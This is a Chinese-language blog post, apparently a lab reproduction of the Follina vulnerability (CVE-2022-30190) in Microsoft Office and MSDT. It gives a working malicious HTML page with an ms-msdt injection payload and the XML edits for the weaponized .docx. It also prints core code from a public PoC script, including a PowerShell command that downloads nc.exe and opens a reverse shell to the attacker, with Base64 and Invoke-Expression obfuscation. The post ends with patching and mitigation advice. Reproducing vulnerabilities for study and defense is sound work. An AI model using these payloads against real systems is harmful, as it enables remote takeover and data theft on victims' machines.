Skip to content

CVE-2022-30190复现

约 3582 字大约 12 分钟

cve

2026-01-18

一、漏洞简述

CVE-2022-30190(业界俗称“Follina”)是2022年曝光的高危远程代码执行漏洞,影响几乎所有Windows系统及Microsoft Office套件。该漏洞无需用户执行额外操作(如启用宏、点击链接),仅需打开恶意Office文档(甚至预览RTF格式)即可触发,攻击门槛极低、传播范围极广,曾被黑客广泛用于钓鱼攻击、内网渗透等恶意行为。

二、基本原理

CVE-2022-30190的核心漏洞点在于Microsoft支持诊断工具(MSDT)的URL协议调用缺乏严格的参数校验,具体原理如下:

  1. 攻击者构造恶意Office文档,在文档内部XML文件中添加远程恶意HTML文件的引用。

  2. 用户打开该文档后,Office应用(如Word)会自动加载远程HTML文件(利用Office远程模板功能)。

  3. 恶意HTML文件通过window.location.href跳转至ms-msdt协议链接,该链接携带包含PowerShell代码的恶意参数。

  4. Office应用调用MSDT工具处理该协议请求时,未对参数进行合法性校验,直接执行了注入的PowerShell代码。

  5. 由于MSDT以Office应用的权限运行,攻击者可获得与当前用户相同的系统权限,实现远程代码执行。

核心攻击链:恶意Office文档 → 加载远程恶意HTML → 调用ms-msdt协议 → 注入PowerShell代码 → 执行恶意操作

三、复现过程

1.手动构造

步骤1:攻击机搭建HTTPS Web服务

安装Apache和OpenSSL:在Kali终端执行命令sudo apt-get install apache2 openssl,完成安装后启动服务sudo service apache2 start

img

验证Web服务:在靶机浏览器访问http://192.168.220.131,出现Apache默认页面即配置成功。

img

步骤2:构造恶意HTML文件

在Kali中创建RDF8421.html文件,使用记事本打开,写入如下代码(核心功能:调用MSDT并注入计算器命令):

<!doctype html><html lang="en"><head><title>Good thing we disabled macros</title></head><body><p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Quisque pellentesque egestas nulla in dignissim. Nam id mauris lorem. Nunc suscipit id magna id mollis. Pellentesque suscipit orci neque, at ornare sapien bibendum eu. Vestibulum malesuada nec sem quis finibus. Nam quis ligula et dui faucibus faucibus. In quis bibendum tortor. Curabitur rutrum leo tortor, venenatis fermentum ex porttitor vitae. Proin eu imperdiet lorem, ac aliquet risus. Aenean eu sapien pharetra, imperdiet ipsum ut, semper diam. Nulla facilisi. Sed euismod tortor tortor, non eleifend nunc fermentum sit amet. Integer ligula ligula, congue at scelerisque sit amet, porttitor quis felis. Maecenas nec justo varius, semper turpis ut, gravida lorem. Proin arcu ligula, venenatis aliquam tristique ut, pretium quis velit. Phasellus tristique orci enim, at accumsan velit interdum et. Aenean nec tristique ante, dignissim convallis ligula. Aenean quis felis dolor. In quis lectus massa. Pellentesque quis pretium massa. Vivamus facilisis ultricies massa ac commodo. Nam nec congue magna. Nullam laoreet justo ut vehicula lobortis. Aliquam rutrum orci tortor, non porta odio feugiat eu. Vivamus nulla mauris, eleifend eu egestas scelerisque, vulputate id est. Proin rutrum nec metus convallis ornare. Ut ultricies ante et dictum imperdiet. Ut nisl magna, porttitor nec odio non, dapibus maximus nibh. Integer lorem felis, accumsan a dapibus hendrerit, maximus nec leo. Vestibulum porta, orci sed dignissim porta, sem justo porta odio, quis rutrum tortor arcu quis massa. Aenean eleifend nisi a quam faucibus, quis scelerisque lectus condimentum. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Proin non dui nec odio finibus molestie. Suspendisse id massa nunc. Sed ultricies et sapien vel fringilla.</p><p>Donec tincidunt ac justo et iaculis. Pellentesque lacinia, neque at consectetur porttitor, leo eros bibendum lorem, eu sollicitudin dolor urna pharetra augue. Pellentesque facilisis orci quis ante tempor, ac varius eros blandit. Nulla vulputate, purus eu consectetur ullamcorper, mauris nulla commodo dolor, in maximus purus mi eget purus. In mauris diam, imperdiet ac dignissim ut, mollis in purus. In congue volutpat tortor eu auctor. Nullam a eros lectus. Aenean porta semper quam ac lacinia. Curabitur interdum, nisl eu laoreet tempus, augue nisl volutpat odio, dictum aliquam massa orci sit amet magna. Duis pulvinar vitae neque non placerat. Nullam at dui diam. In hac habitasse platea dictumst. Sed quis mattis libero. Nullam sit amet condimentum est. Nulla eget blandit elit. Nunc facilisis erat nec ligula ultrices, malesuada mollis ex porta. Phasellus iaculis lorem eu augue tincidunt, in ultrices massa suscipit. Donec gravida sapien ac dui interdum cursus. In finibus eu dolor sit amet porta. Sed ultrices nisl dui, at lacinia lectus porttitor ut. Ut ac viverra risus. Suspendisse lacus nunc, porttitor facilisis mauris ut, ullamcorper gravida dolor. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Vivamus sollicitudin, arcu id sagittis facilisis, turpis dolor eleifend massa, in maximus sapien dui et tortor. Quisque varius enim sed enim venenatis tempor. Praesent quis volutpat lorem. Pellentesque ac venenatis lacus, vitae commodo odio. Sed in metus at libero viverra mollis sed vitae nibh. Sed at semper lectus.</p><p>Proin a interdum justo. Duis sed dui vitae ex molestie egestas et tincidunt neque. Fusce lectus tellus, pharetra id ex at, consectetur hendrerit nibh. Nulla sit amet commodo risus. Nulla sed dapibus ante, sit amet fringilla dui. Nunc lectus mauris, porttitor quis eleifend nec, suscipit sit amet massa. Vivamus in lectus erat. Nulla facilisi. Vivamus sed massa quis arcu egestas vehicula. Nulla massa lorem, tincidunt sed feugiat quis, faucibus a risus. Sed viverra turpis sit amet metus iaculis finibus. Morbi convallis fringilla tortor, at consequat purus vulputate sit amet. Morbi a ultricies risus, id maximus purus. Fusce aliquet tortor id ante ornare, non auctor tortor luctus. Quisque laoreet, sem id porttitor eleifend, eros eros suscipit lectus, id facilisis lorem lorem nec nibh. Nullam venenatis ornare ornare. Donec varius ex ac faucibus condimentum. Aenean ultricies vitae mauris cursus ornare. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Maecenas aliquet felis vel nulla auctor, ac tempor mi mattis. Nam accumsan nisi vulputate, vestibulum nisl at, gravida erat. Nam diam metus, tempor id sapien eu, porta luctus felis. Aliquam luctus vitae tortor quis consectetur. In rutrum neque sit amet fermentum rutrum. Sed a velit at metus pretium tincidunt tristique eget nibh. In ultricies, est ut varius pulvinar, magna purus tristique arcu, et laoreet purus elit ac lectus. Ut venenatis tempus magna, non varius augue consectetur ut. Etiam elit risus, ullamcorper cursus nisl at, ultrices aliquet turpis. Maecenas vitae odio non dolor venenatis varius eu ac sem. Phasellus id tortor tellus. Ut vehicula, justo ac porta facilisis, mi sapien efficitur ipsum, sit fusce.</p><script>  location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=/../../$(\\windows\\system32\\calc)/.exe\"";</script> </body></html>

代码说明:

上方大量的字符用于填充MSDT的缓冲区以绕过安全工具对短恶意字符串的检测,跳过MSDT正常使用时需要输入密钥这一步骤直接执行注入命令。

ms-msdt:/id PCWDiagnostic:指定调用 Windows 系统内置的 MSDT(Microsoft Support Diagnostic Tool,微软支持诊断工具)中的 PCWDiagnostic 诊断模块,该模块对应 “程序兼容性向导”,是 Follina 漏洞触发的核心入口。

/skip force:强制跳过 MSDT 执行过程中的部分安全校验流程,包括用户手动确认、参数合法性初步校验等,确保恶意逻辑能自动执行而不被中断。

/param "...":向 PCWDiagnostic 诊断模块传递具体执行参数,核心的恶意命令注入逻辑均包含在引号内的参数中:

IT_RebrowseForFile=?:作为格式填充参数,无实际业务作用,仅用于匹配 MSDT 参数解析的格式要求,避免因参数缺失导致整体命令被拦截。

IT_LaunchMethod=ContextMenu:模拟通过右键菜单的方式启动 MSDT 诊断工具,该启动方式会绕过 MSDT 针对常规调用的部分安全限制,降低恶意参数被检测的概率。

IT_BrowseForFile=/../../$(\windows\system32\calc)/.exe:这是漏洞利用的核心注入点,通过路径遍历和命令替换实现恶意程序执行:

/../../:路径遍历符号,通过多层级的目录回退,绕过MSDT对“合法文件路径”的基础校验规则,使后续注入的命令能被解析;

$(...):命令替换语法,MSDT 在解析该参数时,会将括号内的内容当作 PowerShell/cmd 命令执行,而非普通的文件路径处理;

\windows\system32\calc:指定要执行的目标程序路径(此处为系统计算器程序 calc.exe),双反斜杠 \ 是字符串中的转义写法,实际对应 Windows 系统路径中的单个反斜杠 \;

/.exe:补充.exe 文件扩展名,使拼接后的整体内容看起来符合 MSDT 要求的 “合法可执行文件路径” 格式,进一步绕过参数格式校验,确保命令能被正常执行。

将该文件复制到Apache根目录:sudo cp RDF8421.html /var/www/html,确保文件权限为755(sudo chmod 755 /var/www/html/RDF8421.html)。

步骤3:修改Office文档,构造恶意文档

准备Word文档:在Windows系统中创建空白Word文档test.docx,填充一个字符a。用解压软件(在window上)解压生成test_docx目录,包含Office文档的核心文件。

修改XML外部引用:

进入解压目录的关系文件目录:test_doc/word/_rels。

打开document.xml.rels文件,该文件存储文档与外部资源的关联关系。

在文件末尾</ Relationships>前添加如下XML节点(引用攻击机构建的恶意HTML文件):

<Relationship  Id="rId6" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="mhtml:http://192.168.220.131/RDF8421.html!x-usc:http://192.168.220.131/RDF8421.html" TargetMode="External"/>

打开test_doc/word/document.xml,在<w:body>起始标签后添加上方节点的引用:

<w:object w:dxaOrig="4320" w:dyaOrig="4320"> <v:shape id="_x0000_i1025" type="#_x0000_t75" o:ole=""/> <o:OLEObject Type="Link" ProgID="htmlfile" ShapeID="_x0000_i1025" r:id="rId6"/></w:object>

保存文件并退出,确保XML格式正确。

重新压缩生成恶意文档:

压缩为malicious.zip文件,修改后缀为malicious.docx。

步骤4:靶机执行恶意文档,验证漏洞触发

双击打开malicious.docx,Office Word会自动加载远程HTML文件(无需启用宏,默认设置即可)。

观察靶机:约1-2秒后,系统自动弹出计算器程序(calc.exe),证明漏洞触发成功。

img

2.POC代码及验证

步骤1:获取并配置POC工具

在Kali攻击机中克隆官方POC仓库:

git clone https://github.com/JohnHammond/msdt-follina.gitcd 
msdt-follina

查看POC脚本功能:脚本follina.py支持两种模式,-r参数指定反弹Shell端口,-c参数指定自定义命令。

安装依赖:该脚本无需额外依赖,Python 3.9+环境可直接运行。

步骤2:运行POC生成恶意文档并监听

执行POC脚本,指定反弹Shell端口4000:

img

脚本功能说明:

自动复制模板文档并修改,生成恶意文档follina.doc。

在攻击机8000端口启动临时Web服务,提供恶意HTML payload。

启动Netcat监听4000端口,等待靶机反弹Shell。

步骤3:靶机执行恶意文档,获取反弹Shell

将Kali中的follina.doc复制到靶机桌面,双击打开。

img

观察Kali终端,捕获到靶机连接:

img

执行系统命令验证权限:

输入whoami,返回desktop-grfsu4j\cve-2022-30190,确认获取管理员权限。

输入ipconfig,可查看靶机网络配置;

输入dir C:\Users\cve-2022-30190\Desktop,可查看靶机桌面文件。

img

结论:POC工具可自动化完成恶意文档生成、Web服务部署和Shell监听,极大降低攻击门槛,证明该漏洞易被利用。

步骤4:POC代码核心逻辑分析

打开follina.py,查看核心代码片段:

# 解析攻击机IP/网卡,确定恶意HTML的托管地址
try:
    serve_host = ipaddress.IPv4Address(args.interface)
except ipaddress.A、ddressValueError:
    serve_host = netifaces.ifaddresses(args.interface)[netifaces.AF_INET][0]["addr"]
 
# 复制Word文档骨架到临时目录
staging_dir = os.path.join(tempfile._get_default_tempdir(), next(tempfile._get_candidate_names()))
doc_path = os.path.join(staging_dir, "doc")
shutil.copytree("doc", doc_path)
 
# 修改document.xml.rels文件,注入指向攻击机的HTML引用
document_rels_path = os.path.join(staging_dir, "doc", "word", "_rels", "document.xml.rels")
with open(document_rels_path) as filp:
    external_referral = filp.read()
external_referral = external_referral.replace("{staged_html}", f"http://{serve_host}:{args.port}/index.html")
with open(document_rels_path, "w") as filp:
    filp.write(external_referral)
 
# 构造Base64编码的恶意命令(支持普通命令/反向Shell)
command = args.command
if args.reverse:
    command = f"""Invoke-WebRequest https://github.com/JohnHammond/msdt-follina/blob/main/nc64.exe?raw=true -OutFile C:\\Windows\\Tasks\\nc.exe; C:\\Windows\\Tasks\\nc.exe -e cmd.exe {serve_host} {args.reverse}"""
base64_payload = base64.b64encode(command.encode("utf-8")).decode("utf-8")
 
# 生成超过4096字节的MS-MSDT恶意HTML payload
html_payload = f"""<script>location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \\"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'{base64_payload}'+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe\\""; //"""
html_payload += "".join([random.choice(string.ascii_lowercase) for _ in range(4096)]) + "\n</script>"
 
# 启动HTTP服务器托管恶意HTML
class ReuseTCPServer(socketserver.TCPServer):
    def server_bind(self):
        self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.socket.bind(self.server_address)
with ReuseTCPServer(("", args.port), Handler) as httpd:
    httpd.serve_forever()

逻辑拆解:

将攻击机地址解析:自动识别指定网卡(如 eth0)对应的 IP 地址,或直接使用用户输入的 IP,作为恶意 HTML 的托管地址,确保靶机能访问。

Word 文档骨架复用:将预置的 Word 文档骨架(doc 目录)复制到临时目录,避免手动构造 OpenXML 结构,保证文档合法性。

动态修改 XML 引用:替换 document.xml.rels 中的{staged_html}占位符,添加指向攻击机{serve_host}:{port}/index.html的外部资源引用,让恶意文档打开时自动加载该 HTML。

恶意命令编码处理

  • 普通模式:将指定命令(默认 calc)Base64 编码,避免空格 / 特殊字符破坏参数格式;

  • 反向 Shell 模式:构造下载 nc.exe 并执行反向 Shell 的命令,实现远程控制。

超长 Payload 构造:生成超过 4096 字节的 MS-MSDT payload(补充随机小写字母),绕过部分安全工具对短恶意字符串的检测;通过多层 Invoke-Expression 执行 Base64 解码后的命令,规避直接命令注入的拦截。

HTTP 服务启动:创建可复用端口的 HTTP 服务器,托管恶意 index.html;反向 Shell 模式下,通过多线程同时启动 HTTP 服务和 nc 监听,实现命令执行与反向连接的联动。

文档打包输出:将修改后的临时目录打包为 ZIP 格式,并重命名为.doc 文件(本质仍是 DOCX 格式),降低靶机用户的警惕性。

四、复现总结

CVE-2022-30190漏洞的核心危害在于“低攻击门槛+高权限获取”,攻击者无需用户交互,仅需诱导用户打开恶意文档即可实现远程控制,对个人和企业用户均构成严重威胁。

漏洞的技术核心是MSDT协议的参数校验缺失,攻击者通过Office文档的远程资源加载功能,将恶意代码注入到MSDT的调用参数中,实现代码执行。该漏洞的利用结合了文档结构篡改、协议滥用、代码注入等多种技术,体现了现代网络攻击的综合性特点。

防范此类漏洞的关键措施包括:

  1. 及时安装系统安全补丁(如Windows KB5014699补丁),从根源上修复漏洞。

  2. 禁用不必要的URL协议关联(如ms-msdt),减少攻击面。

  3. 加强Office文档安全设置,禁用自动加载远程模板功能,开启宏拦截和恶意文件检测。

  4. 提高安全意识,不打开来源不明的Office文档,避免随意预览陌生RTF文件。

参考文献

CVE-2022-30190分析以及复现和POC利用 //Microsoft Office MSDT 远程代码执行漏洞-CSDN博客

CVE-2022-30190 MSDT远程代码执行漏洞复现 - 知乎

CVE-2022-30190 漏洞复现-CSDN博客

CVE-2022-30190 MSDT 代码注入漏洞分析-腾讯云开发者社区-腾讯云